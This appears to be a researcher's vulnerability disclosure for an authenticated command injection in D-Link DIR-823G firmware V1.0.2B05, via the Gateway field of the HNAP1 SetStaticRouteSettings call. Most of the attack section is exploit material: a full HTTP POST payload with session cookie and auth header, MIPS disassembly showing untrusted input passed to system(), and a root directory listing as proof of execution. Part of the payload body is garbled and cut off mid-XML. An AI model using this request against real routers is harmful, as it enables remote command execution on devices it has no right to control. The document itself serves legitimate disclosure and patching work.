DIR-823G

Version

DIR823GA1_FW102B05

Firmware download link

http://support.dlink.com.cn/ProductInfo.aspx?m=DIR-823G





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DIR-823G DIR-823G AC1200M 双频千兆无线路由器



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decription

An issue was discovered on D-Link DIR-823G devices with firmware V1.0.2B05. There is a command injection in HNAP1 (exploitable with Authentication) via shell metacharacters in the Gateway field to SetStaticRouteSettings.

others

found by wx@teamseri0us360.
please send email to teamseri0us360@gmail.com if you have any question.

Command injection in HNAP1 SetStaticRouteSettings

bypass the check of the "Gateway" by modifying in HTTP Message



payload

```
POST /HNAP1/ HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86 64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: en-US, en; q=0.5
Accept-Encoding: gzip, deflate
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://purenetworks.com/HNAP1/SetStaticRouteSettings"
HNAP AUTH: 2A5F23EDFB05C97CFB884FA0A65D47FE 1563518522
X-Requested-With: XMLHttpRequest
Content-Length: 576
Connection: close
Referer: http://192.168.0.1/Staticroute.html
Cookie: uid=9LvNeDOE2v; PrivateKey=2F2ACD6615A1049235240793F85DB5F1; timeout=34
<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
| hacku.txt`'</Gateway><Interface>lan</Interface></ClientInfo></StaticRouteClientInfoLists></SetStaticRouteSettings></soap:</pre>
Body></soap:Envelope>
```

Vulnerability description

This occurs in /bin/goahead when a HNAP API function trigger a call to the system function with untrusted input from the request body. A attacker can execute any command remotely when they control this input.

The detail is as below:

```
$v0, aEchoSVarHnaplo # "echo '%s' >/var/hnaplog"
la
addiu
        $v1, $fp, 0x1448+var_1390
move
        $a0, $v1
        $a1, 0x1387
li
        $a2, $v0
move
lw
        $a3, 0x1448+arg_18($fp)
jal
        snprintf
nop
addiu
        $v0, $fp, 0x1448+var_1390
move
        $a0, $v0
jal
        system
nop
```

result

← → G	û		i 192.168	3.0.1/hac	ku.txt	i		
drwxrwxr-x	2	1000	bob-buil	4096	Dec	4	10:05	bin
drwxrwxr-x	9	1000	bob-buil	4096	Jul	11	2019	dev
drwxrwxr-x	7	1000	bob-buil	4096	Dec	4	10:05	etc
drwxr-xr-x	4	root	root	4096	Jul	11	2019	firmadyne
drwxrwxr-x	2	1000	bob-buil	4096	Dec	4	10:05	home
lrwxrwxrwx	1	1000	bob-buil	8	Dec	4	10:05	init -> bin/init
drwxrwxr-x	3	1000	bob-buil	4096	Dec	4	10:05	lib
drwx	2	root	root	16384	Jul	11	2019	lost+found
drwxrwxr-x	2	1000	bob-buil	4096	Dec	4	10:05	mnt
dr-xr-xr-x	61	root	root	0	Jul	19	2019	proc
lrwxrwxrwx	1	1000	bob-buil	9	Dec	4	10:05	root -> /var/root
drwxr-xr-x	12	root	root	0	Jul	19	2019	sys
lrwxrwxrwx	1	1000	bob-buil	8	Dec	4	10:05	tmp -> /var/tmp
drwxrwxr-x	3	1000	bob-buil	4096	Dec	4	10:05	usr
drwxr-xr-x	26	root	root	0	May	28	11:59	var
drwxrwxr-x	3	1000	bob-buil	4096	Dec	4	10:05	web
drwxrwxr-x	7	1000	bob-buil	4096	May	28	14:13	web_mtn